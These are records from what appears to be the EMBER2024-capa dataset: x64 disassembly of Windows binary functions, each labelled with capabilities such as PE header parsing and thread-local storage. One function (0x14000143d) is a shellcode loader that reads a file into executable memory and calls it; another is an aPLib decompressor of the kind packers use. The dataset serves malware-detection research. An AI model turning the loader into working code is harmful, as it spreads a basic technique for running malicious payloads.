joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002250
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x14000229d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x140002294
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x14000229f
add rax, 0x28
cmp rax, r9
jne 0x140002280
xor eax, eax
ret

Function at 0x1400022a0
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140002330
mov rdx, qword [0x140004430]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x14000231e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x14000231e
cmp word [rax + 0x18], 0x20b
jne 0x14000231e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140002330
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x140002309
add rbx, 0x28
cmp rbx, rdi
je 0x140002330
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x140002300
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140002340
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140004430]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002360
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002368
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002360
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400023bd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1400023b4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002360
add rax, 0x28
cmp rax, r9
jne 0x1400023a0
xor eax, eax
ret

Function at 0x1400023c0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140004430]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400023df
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400023e8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400023df
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002400
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x140004430]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140002420
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140002428
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140002420
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x140002470
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140002467
test rcx, rcx
je 0x140002420
sub rcx, 1
add rax, 0x28
cmp rdx, rax
jne 0x140002458
xor eax, eax
ret
Function at 0x140002480
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140004430]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000249f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x1400024a8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x1400024c0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140004430]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400024e0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400024e8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400024e0
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x1400024e0
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x140002534
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140002540
add rdx, 0x28
cmp rdx, r9
jne 0x140002520
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140002550
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x140004430]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140002572
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140002580
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002572
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140002572
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x140002572
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x1400025d5
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x1400025e8
add rdx, 0x28
cmp r10, rdx
jne 0x1400025c0
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x1400025f7
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x140002607
mov edx, dword [rax + 0xc]
test edx, edx
je 0x1400025de
test ecx, ecx
jg 0x1400025f0
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x180001000
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0x100
xor eax, eax
lea rcx, [rbp - 0x15]
mov rbx, r8
mov qword [rbp - 0x39], rax
xor edx, edx
mov qword [rbp - 0x31], rax
mov qword [rbp - 0x29], rax
lea r8d, [rax + 0x64]
call fcn.1800061a0
mov dword [rbp - 0x19], 0x68
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp - 0x41]
mov edx, 0xb
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1800010ff
mov rcx, qword [rbp - 0x41]
lea rax, [rbp - 0x49]
mov qword [rsp + 0x40], rax
xor r9d, r9d
and qword [rsp + 0x38], 0
xor r8d, r8d
and dword [rsp + 0x30], 0
and qword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
lea edx, [r9 + 2]
call qword [sym.imp.ADVAPI32.dll_CreateRestrictedToken]
test eax, eax
je 0x1800010f5
mov rcx, qword [rbp - 0x49]
lea rax, [rbp - 0x39]
mov qword [rsp + 0x50], rax
xor r9d, r9d
lea rax, [rbp - 0x19]
mov r8, rbx
mov qword [rsp + 0x48], rax
xor edx, edx
and qword [rsp + 0x40], 0
and qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0x10
and dword [rsp + 0x28], 0
and qword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
test eax, eax
je 0x1800010eb
mov rcx, qword [rbp - 0x31]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x39]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x49]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x41]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x110]
add rsp, 0x100
pop rbp
ret

Function at 0x180001d68
Capabilities:
Encrypt or decrypt data via bcrypt

Disassembly:
mov r11, rsp
sub rsp, 0x68
mov r10, rcx
movups xmm0, xmmword [0x180024f80]
movdqu xmmword [rsp + 0x50], xmm0
mov r8d, edx
and r8d, 7
mov eax, r8d
neg eax
sbb r9d, r9d
and r9d, 8
add r9d, 8
lea rax, [0x180024fc8]
lea rcx, [0x180024fa8]
test r8d, r8d
cmove rcx, rax
and dword [rsp + 0x48], 0
lea rax, [r11 + 0x10]
mov qword [r11 - 0x28], rax
mov dword [rsp + 0x38], edx
mov qword [r11 - 0x38], r10
mov dword [r11 - 0x40], r9d
lea rax, [r11 - 0x18]
mov qword [r11 - 0x48], rax
xor r9d, r9d
mov r8d, edx
mov rdx, r10
mov rcx, qword [rcx]
call qword [sym.imp.bcrypt.dll_BCryptDecrypt]
jmp 0x180001de0
add rsp, 0x68
ret
Function at 0x181489058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1814891df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x181489089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x18148906f
add dl, dl
jne 0x181489096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1814890f6
xor eax, eax
add dl, dl
jne 0x1814890a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1814891ad
add dl, dl
jne 0x1814890b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1814890c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1814890d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1814890dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1814890ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x18148907e
mov eax, 1
add dl, dl
jne 0x181489106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x181489113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1814890fb
sub eax, ebx
mov ebx, 1
jne 0x18148914c
mov ecx, 1
add dl, dl
jne 0x18148912e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x18148913b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x181489123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18148907e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x181489168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x181489175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x18148915d
cmp eax, 0x7d00
jae 0x18148919b
cmp eax, 0x500
jb 0x181489196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18148907e
cmp eax, 0x7f
ja 0x18148919e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18148907e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1814891d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x18148907e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001001
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140079220]
mov rcx, qword [0x1400791d0]
xor edx, edx
mov dword [rax], 1
mov rax, qword [0x140079230]
cmp word [rcx], 0x5a4d
mov dword [rax], 1
mov rax, qword [0x140079240]
mov dword [rax], 1
jne 0x140001083
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x140001083
mov ecx, dword [rax + 0x18]
cmp cx, 0x10b
je 0x14000105e
cmp cx, 0x20b
je 0x14000106d
jmp 0x140001083
cmp dword [rax + 0x74], 0xe
jbe 0x140001083
cmp dword [rax + 0xe8], 0
jmp 0x14000107d
cmp dword [rax + 0x84], 0xe
jbe 0x140001083
cmp dword [rax + 0xf8], 0
setne dl
movzx edx, dl
mov rax, qword [0x140079210]
mov dword [0x14009e00c], edx
mov ecx, 2
cmp dword [rax], 0
jne 0x14000109f
mov ecx, 1
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x140079300]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x1400792e0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x140078880]
cmp dword [rax], 1
jne 0x1400010e1
mov rcx, qword [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret

Function at 0x140001360
Capabilities:
Enumerate processes

Disassembly:
push rbp
sub rsp, 0x160
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xf0], rcx
mov edx, 0
mov ecx, 2
call sym.CreateToolhelp32Snapshot
mov qword [rbp + 0xd8], rax
cmp qword [rbp + 0xd8], 0xffffffffffffffff
jne 0x1400013a1
mov eax, 0
jmp 0x140001434
mov dword [rbp - 0x60], 0x130
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xd8]
mov rcx, rax
call sym.Process32First
test eax, eax
setne al
test al, al
je 0x14000141c
lea rax, [rbp - 0x60]
lea rdx, [rax + 0x2c]
mov rax, qword [rbp + 0xf0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_lstrcmpiA]
call rax
test eax, eax
sete al
test al, al
je 0x140001400
mov rax, qword [rbp + 0xd8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, dword [rbp - 0x58]
jmp 0x140001434
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xd8]
mov rcx, rax
call sym.Process32Next
test eax, eax
setne al
test al, al
jne 0x1400013c4
mov rax, qword [rbp + 0xd8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x160
pop rbp
ret
Function at 0x14000143d
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
push rsi
push rbx
sub rsp, 0x220
lea rbp, [rsp + 0x80]
call sym.__main
lea rax, [rbp - 0x50]
mov r8d, 4
lea rdx, str.binary_data.bin
mov rcx, rax
call sym.std::basic_ifstream_char__std::char_traits_char___::basic_ifstream_char_const__std::_Ios_Openmode_
lea rax, [rbp - 0x50]
add rax, 0xd0
mov rcx, rax
call method.std::basic_ios_char__std::char_traits_char___.operator____const
test al, al
je 0x140001492
mov esi, 1
mov ebx, 0
jmp 0x140001582
lea rax, [rbp - 0x50]
mov r8d, 2
mov edx, 0
mov rcx, rax
call method.std::istream.seekg_long_long__std::_Ios_Seekdir_
lea rax, [rbp - 0x60]
lea rdx, [rbp - 0x50]
mov rcx, rax
call method.std::istream.tellg__
lea rax, [rbp - 0x50]
mov r8d, 0
mov edx, 0
mov rcx, rax
call method.std::istream.seekg_long_long__std::_Ios_Seekdir_
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::fpos_int_.operator_long_long___const
mov rcx, rax
call sym.malloc
mov qword [rbp + 0x198], rax
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::fpos_int_.operator_long_long___const
mov rcx, rax
mov rdx, qword [rbp + 0x198]
lea rax, [rbp - 0x50]
mov r8, rcx
mov rcx, rax
call method.std::istream.read_char__long_long_
lea rax, [rbp - 0x50]
mov rcx, rax
call method.std::basic_ifstream_char__std::char_traits_char___.close__
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::fpos_int_.operator_long_long___const
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x190], rax
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::fpos_int_.operator_long_long___const
mov rcx, rax
mov rdx, qword [rbp + 0x198]
mov rax, qword [rbp + 0x190]
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov rax, qword [rbp + 0x190]
call rax
mov ebx, 1
lea rax, [rbp - 0x50]
mov rcx, rax
call fcn.14005a690
cmp ebx, 1
jne 0x140001598
mov esi, 0
mov eax, esi
jmp 0x1400015b6
add rsp, 0x220
pop rbx
pop rsi
pop rbp
ret
Function at 0x1400069f4
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
mov rax, qword [0x14009e0a8]
xor ebx, ebx
add rax, 0x18
mov r12, rcx
mov ecx, dword [0x14009e0a4]
mov rsi, rdx
mov rdi, r8
cmp ebx, ecx
jge 0x140006a42
mov rdx, qword [rax]
cmp r12, rdx
jb 0x140006a3a
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x140006b29
inc ebx
add rax, 0x28
jmp 0x140006a1a
mov rcx, r12
call sym.__mingw_GetSectionForAddress
mov rbp, rax
test rax, rax
jne 0x140006a61
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call sym.__report_error
movsxd rbx, ebx
mov rax, qword [0x14009e0a8]
xor edx, edx
imul rbx, rbx, 0x28
add rax, rbx
mov dword [rax], edx
mov qword [rax + 0x20], rbp
call sym._GetPEImageBase
mov edx, dword [rbp + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14009e0a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
jne 0x140006ac3
mov rax, qword [0x14009e0a8]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call sym.__report_error
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x140006b23
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140006b23
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14009e0a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140006b23
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
inc dword [0x14009e0a4]
mov ecx, edi
mov rdi, r12
rep movsb byte [rdi], byte [rsi]
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x140006f50
Capabilities:
Get thread local storage value

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
lea rdi, [0x14009e100]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14009e0e0]
test rbx, rbx
je 0x140006f9c
mov ecx, dword [rbx]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
test rsi, rsi
je 0x140006f96
test eax, eax
jne 0x140006f96
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
jmp 0x140006f6e
mov rcx, rdi
add rsp, 0x20
pop rbx
pop rsi
pop rdi
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140007150
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140007173
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
jne 0x140007173
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x140007174
Capabilities:
Enumerate pe sections

Disassembly:
xor r8d, r8d
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r9d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
cmp r8d, r9d
jae 0x1400071ae
mov r10d, dword [rax + 0xc]
mov rcx, r10
cmp rdx, r10
jb 0x1400071a5
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x1400071b0
inc r8d
add rax, 0x28
jmp 0x14000718c
xor eax, eax
ret

Function at 0x140007221
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x1400791d0]
mov r8, rcx
mov rcx, r9
call sym._ValidateImageBase
test eax, eax
je 0x14000724d
mov rdx, r8
mov rcx, r9
sub rdx, r9
add rsp, 0x28
jmp sym._FindPESection
xor eax, eax
add rsp, 0x28
ret
Function at 0x14000d92e
Capabilities:
Generate random numbers via rtlgenrandom

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov rbx, rcx
lea rcx, str.msvcrt.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rsi, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.rand_s
mov rcx, rax
call rsi
test rax, rax
jne 0x14000d983
lea rcx, str.advapi32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, str.SystemFunction036
mov rcx, rax
call rsi
mov qword [0x14009ec80], rax
lea rax, [sym.mingw_rand_s]
mov rcx, rbx
mov qword [sym.init_rand_s], rax
add rsp, 0x28
pop rbx
pop rsi
jmp rax

Function at 0x14000f733
Capabilities:
Allocate thread local storage

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [0x140072148], eax
inc eax
jne 0x14000f74d
call sym.abort
nop
add rsp, 0x28
ret

Function at 0x14000f8c1
Capabilities:
Print debug messages

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x90
mov rbx, rcx
test rcx, rcx
je 0x14000f95d
call sym.pthread_spin_destroy
dec eax
jne 0x14000f956
xor eax, eax
lea rdi, [rsp + 0x25]
mov ecx, 0xa
lea rsi, str.Error_cleaning_up_spin_keys_for_thread
rep movsd dword [rdi], dword [rsi]
lea rdi, [rsp + 0x4d]
mov ecx, 0x43
rep stosb byte [rdi], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
lea rdx, [rsp + 0x4c]
mov r8d, 0xa
mov ecx, eax
call qword [sym.imp.msvcrt.dll__ultoa]
mov eax, 0x27
lea rcx, [rsp + 0x25]
cmp byte [rcx + rax], 0
je 0x14000f935
inc rax
cmp rax, 0x6b
jne 0x14000f924
jmp 0x14000f94b
cmp eax, 0x6a
je 0x14000f94b
movsxd rdx, eax
inc eax
cdqe
mov byte [rsp + rdx + 0x25], 0xa
mov byte [rsp + rax + 0x25], 0
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call sym.abort
mov qword [rbx], 0xffffffffffffffff
add rsp, 0x90
pop rbx
pop rsi
pop rdi
ret
Function at 0x14000f9ff
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
call sym._pthread_once_raw.constprop.0.isra.0
mov ecx, dword [0x140072148]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, rax
test rax, rax
jne 0x14000fb0e
call sym.pop_pthread_mem
cmp qword [sym.__dyn_tls_pthread], 0
mov rbx, rax
je 0x14000fb0e
test rax, rax
je 0x14000fb0e
mov dword [rax + 0x44], 1
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor r9d, r9d
xor r8d, r8d
mov edx, 1
xor ecx, ecx
mov dword [rbx + 0x70], eax
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rbx + 0x38], 0xffffffffffffffff
lea rcx, [rbx + 0x68]
mov qword [rbx + 0x30], rax
call sym.replace_spin_keys.constprop.0
xor edx, edx
xor ecx, ecx
mov rdi, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rbx + 0xb8], edx
mov qword [rbx + 0x28], rcx
call rdi
mov qword [rsp + 0x48], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rsi, rax
call rdi
xor r8d, r8d
mov dword [rsp + 0x30], 2
mov rdx, rsi
mov dword [rsp + 0x28], r8d
mov rcx, rax
lea r9, [rbx + 0x28]
mov dword [rsp + 0x20], r8d
mov r8, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
jne 0x14000fad4
call sym.abort
mov rcx, qword [rbx + 0x28]
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov ecx, dword [0x140072148]
mov rdx, rbx
mov dword [rbx + 0xc0], eax
xor eax, eax
mov dword [rbx + 0xbc], eax
mov al, byte [rbx + 0x40]
and eax, 0xffffffcf
or eax, 0x10
mov byte [rbx + 0x40], al
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x14000facf
mov rsi, rbx
mov rax, rsi
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
Function at 0x140010248
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
test edx, edx
jne 0x140010282
test r8, r8
jne 0x1400103ad
mov rcx, qword [0x14009ece0]
test rcx, rcx
je 0x1400103ad
call qword [sym.imp.KERNEL32.dll_RemoveVectoredExceptionHandler]
xor r9d, r9d
mov qword [0x14009ece0], r9
jmp 0x1400103ad
cmp edx, 1
jne 0x1400102a5
lea rdx, [sym.SetThreadName_VEH]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
mov qword [0x14009ece0], rax
jmp 0x1400103ad
cmp edx, 3
jne 0x1400103ad
mov ecx, dword [0x140072148]
cmp ecx, 0xffffffff
je 0x1400103ad
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rbx, rax
test rax, rax
je 0x1400103ad
test byte [rax + 0x40], 0x30
lea rdi, [rax + 0x38]
lea rsi, [rax + 0x68]
je 0x14001033b
mov rcx, qword [rax + 0x1d8]
call sym._pthread_cleanup_dest
mov rcx, qword [rbx + 0x28]
test rcx, rcx
je 0x140010313
mov rbp, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rbp
mov rcx, qword [rbx + 0x30]
test rcx, rcx
je 0x140010306
call rbp
xor r8d, r8d
mov qword [rbx + 0x30], r8
xor ecx, ecx
mov qword [rbx + 0x28], rcx
mov rcx, rdi
call sym.pthread_mutex_destroy
mov rcx, rsi
call sym.replace_spin_keys.constprop.0
mov rcx, rbx
call sym.push_pthread_mem
mov ecx, dword [0x140072148]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
jmp 0x1400103ad
cmp dword [rax + 0xbc], 0
mov rcx, qword [rax + 0x30]
jne 0x14001038c
test rcx, rcx
je 0x140010353
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov rcx, qword [rbx + 0x1d8]
mov dword [rbx + 0xbc], 1
mov qword [rbx + 0x30], rdx
call sym._pthread_cleanup_dest
test byte [rbx + 0x44], 4
je 0x14001039d
mov rcx, qword [rbx + 0x28]
mov dword [rbx], 0xdeadbeef
test rcx, rcx
je 0x14001030d
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14001030d
test rcx, rcx
je 0x140010397
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov qword [rbx + 0x30], rax
mov rcx, rdi
call sym.pthread_mutex_destroy
mov rcx, rsi
call sym.replace_spin_keys.constprop.0
mov eax, 1
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
ret